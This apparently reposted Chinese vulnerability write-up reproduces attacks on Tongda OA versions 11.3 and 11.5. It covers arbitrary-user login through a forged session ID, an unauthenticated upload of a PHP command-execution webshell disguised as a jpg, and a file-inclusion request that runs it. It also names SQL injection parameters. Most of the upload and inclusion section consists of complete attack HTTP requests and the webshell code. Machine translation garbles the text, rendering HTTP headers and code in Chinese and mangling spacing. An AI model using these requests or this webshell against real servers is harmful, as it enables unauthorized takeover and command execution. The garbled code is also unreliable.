[size = 9.0000pt]一 系统介绍
通达OA是北京通达信科科技有限公司出品的“ Office Anywhere通达网络智能办公系统”。
突破概览
二,进攻复现2.1前台任意用户登录2.1.1突破描述
攻击者在远程且有权授权的情况下,通过利用此漏洞,可以直接以任意用户身份登录到系统(包括系统管理员)
2.1.2漏洞复现
1)访问http://192.168.31.57/general/index.php?isIE=0&modify_pwd=0 ,提示需要登录
2)使用poc生成PHPSESSID ,再次访问该网址并抓包,替换cookie中的PHPSESSID为用poc生成的。放包,成功以系统管理员身份登录。
2.2文件上传,文件包含导致RCE 2.2.1伸缩描述
在受影响的版本中,攻击者可以在未认证的情况下向服务器上传jpg图片文件,然后包含该文件,造成远程代码执行。该漏洞无需登录即可触发
2.2.2漏洞复现
复现版本:11.3
突破利用链接:
任意文件上传漏洞 /ispirit/im/upload.php
本地文件包含漏洞 /ispirit/interface/gateway.php
1)访问http://192.168.31.57/ispirit/im/upload.php提示未登录
2)用burp抓包合并数据包修改成如下内容(ip替换为OA的ip)
POST /ispirit/im/upload.php HTTP / 1.1
主机:192.168.31.57
内容长度:655
内容类型:多部分/表单数据;boundary = ---- WebKitFormBoundaryBwVAwV3O4sifyhr3
用户代理:Mozilla / 5.0(Windows NT 10.0; Win64; x64)AppleWebKit / 537.36(KHTML,如Gecko)Chrome / 77.0.3865.90 Safari / 537.36
接受编码:gzip,放气
接受语言:zh-CN,zh; q = 0.9
连接方式:关闭
------ WebKitFormBoundaryBwVAwV3O4sifyhr3
内容处置:表单数据;name =“ UPLOAD_MODE”
2
------ WebKitFormBoundaryBwVAwV3O4sifyhr3
内容处置:表单数据;名称=“ P”
------ WebKitFormBoundaryBwVAwV3O4sifyhr3
内容处置:表单数据;name =“ DEST_UID”
1个
------ WebKitFormBoundaryBwVAwV3O4sifyhr3
内容处置:表单数据;name =“ ATTACHMENT”; filename =“ jpg”
内容类型:图片/ jpeg
<?php
$ command = $ _ POST ['cmd'];
$ wsh =新的COM('WScript.shell');
$ exec = $ wsh-> exec(“ cmd / c”。$ command);
$ stdout = $ exec-> StdOut();
$ stroutput = $ stdout-> ReadAll();
echo $ stroutput;
?>
------ WebKitFormBoundaryBwVAwV3O4sifyhr3-
修改完初始化数据包
可以看到未登录情况下成功上传jpg文件
2)文件包含利用
访问http://192.168.31.57/ispirit/interface/gateway.php,POST给json赋值,指定键为url,值为文件位置,修改为数据包内容如下:
POST /ispirit/interface/gateway.php HTTP / 1.1
主机:192.168.31.57
用户代理:Mozilla / 5.0(Windows NT 10.0; Win64; x64; rv:47.0)Gecko / 20100101 Firefox / 47.0
接受:text / html,application / xhtml + xml,application / xml; q = 0.9,* / *; q = 0.8
接受语言:zh-CN,zh; q = 0.8,en-US; q = 0.5,en; q = 0.3
接受编码:gzip,放气
连接方式:关闭
内容类型:application / x-www-form-urlencoded
内容长度:70
json = {“ url”:“ / general /../../ attach / im / 2009 / 1251075309.jpg”}&cmd = whoami
可以看到,执行“ whoami”成功
2.2.3防御代码分
1)通达OA使用zend加密,需要使用SeayDzend工具解密,解密包含入侵的页面
2)文件上传webroot ispirit im upload.php ,如下图,可以看到上传页面对参数P进行验证,如果P非空就不经过auth.php验证可以执行后续代码,利用以下逻辑突破可绕过登录验证进行文件上传
3)文件包含webroot / ispirit / interface / gateway.php,通过foreach循环解析json,如果键和网址替换,获得网址;判断网址是否为空,如果不为空且网址中包含一般/,ispirit /,模块/,就调用include_once函数。
可通过精心构造构造json进入47行的includ_once进行文件包含
2.3 SQL注入2.31进攻描述
复现版本:11.5
存在多处sql注入
2.3.2进攻复现
1)SQL注入1
登录-个人事务-日程安排-日程查询
抓包并使用sqlmap测试,参数'starttime'存在注入
2)SQL注入2
应用中心-报表中心-报表管理-门店销售(选择统计表进行编辑)
抓包并使用sqlmap测试,参数'id'存在注入
注入点分析:
webroot general appbuilder modules report controllers RepdetailController.php中操作编辑函数中的$ _GET [“ id”]未进行过滤,直接拼接到sql查询中,进行sql注入
[size = 9.0000pt]三,参考链接
https://www.cnblogs.com/yuzly/p/13602239.html
https://soapffz.com/sec/562.html#menu_index_2
https://mp.weixin.qq.com/s?__biz=MzAxMzg4NDg1NA==&mid=2247483732&idx=1&sn=062308df7b7ffaf8acb41837e5a703f1&chksm=9b9a8d8daced049b19601c978a98832a08026cefb373e161589db0a0f240ee2205b2d6ebba10&mpshare=1&scene=24&srcid=08225p4xVy6PekmCzfH26zpF&sharer_sharetime=1598138050981&sharer_shareid=b9872b429854cd9a0cc92c30f836e313&key=0a62b63f2856554913d4a4d0f5138fa2ccce483c5db895d5a284a8032f7f7f779d26bf1768b48eecfe3f85da5f7968346828cd498df8c41978242a7c0b687e5a96e6ac4a007890b8e11f7f39ae1b5e3e700aba28fd14e65eddb77806c364ab70d983e5f0fb32942d7f1678b1d236dea354d8ec9e0c2c35d192ea4471b9431b68&ascene=14&uin=MTQwNjQ0NjA2MQ%3D%3D&devicetype=Windows + 10 + x64&version = 62090538&lang = zh_CN&exportkey = AYZemAWNajo3ycraAwg9Bw4%3D&pass_ticket = HaEOXTn7KBAP7GEEWWyyy%2FW1kHjVOPvH5Ner3u2y5uzGHVMPL7PjhSTlE5RNNwx_header = 0
本文始发于微信公众号(疯猫网络):通达OA前台任意用户登录,文件上传和文件包含,SQL注入复现
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论